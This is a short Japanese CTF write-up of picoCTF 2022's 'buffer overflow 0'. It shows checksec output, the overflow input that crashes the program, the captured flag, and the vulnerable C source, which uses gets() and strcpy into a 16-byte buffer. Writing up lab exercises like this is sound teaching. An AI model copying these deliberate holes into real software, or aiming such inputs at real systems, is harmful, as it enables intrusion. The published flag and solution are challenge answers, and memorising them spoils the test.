bof入門
picoCTF 2022の「buffer overflow 0」。bofの一番簡単な問題。
今回も早めにフラグが得られたので、なぜその入力で得られたのか?ソースを読み解く。
概要
プログラムの動きは、単純に入力を受け取るだけ:
shoebill@pwner:~/pico$ ./conn.sh Input: test The program will exit now
32ビットのプログラムであり、canaryは無し:
shoebill@pwner:~/pico$ file vuln vuln: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=08fef67fdcc0d93019a26a2f8f97279dee848031, for GNU/Linux 3.2.0, not stripped shoebill@pwner:~/pico$ checksec ./vuln [*] '/home/shoebill/pico/vuln' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
フラグが得られた入力
ソースをさらっと読んだ感じ、バッファのサイズが100とあったので、"a"を100文字と"b"を何文字か合わせて入力したらフラグが出てきた:
shoebill@pwner:~/pico$ ./conn.sh Input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbb picoCTF{ov3rfl0ws_ar3nt_that_bad_34d6b87f}
なぜこれでフラグが得られたのか?
まずどの部分でフラグを出力してるか?
sigsegv_handler
なるものを定義している点に注目。SIGSEV起こさせればフラグが出力されるとわかる:
void sigsegv_handler(int sig) { printf("%s\n", flag); fflush(stdout); exit(1); } ... int main(int argc, char **argv){ FILE *f = fopen("flag.txt","r"); ... fgets(flag,FLAGSIZE_MAX,f); signal(SIGSEGV, sigsegv_handler); // Set up signal handler
bofの脆弱性
結論から言うと、「16バイトのバッファに対して100バイト入力できてしまう」という脆弱性。
あと使ってはいけないgets
関数を使っている。
void vuln(char *input){ char buf2[16]; strcpy(buf2, input); } ... int main(int argc, char **argv){ ... printf("Input: "); fflush(stdout); char buf1[100]; gets(buf1); vuln(buf1); printf("The program will exit now\n"); return 0; }
vuln()
関数では引数つまりこちらが入力する値を、buf2[16]
にコピーする。一方、main
関数において、そこに100バイト分与えられてしまう(buf1[100]
という定義より)。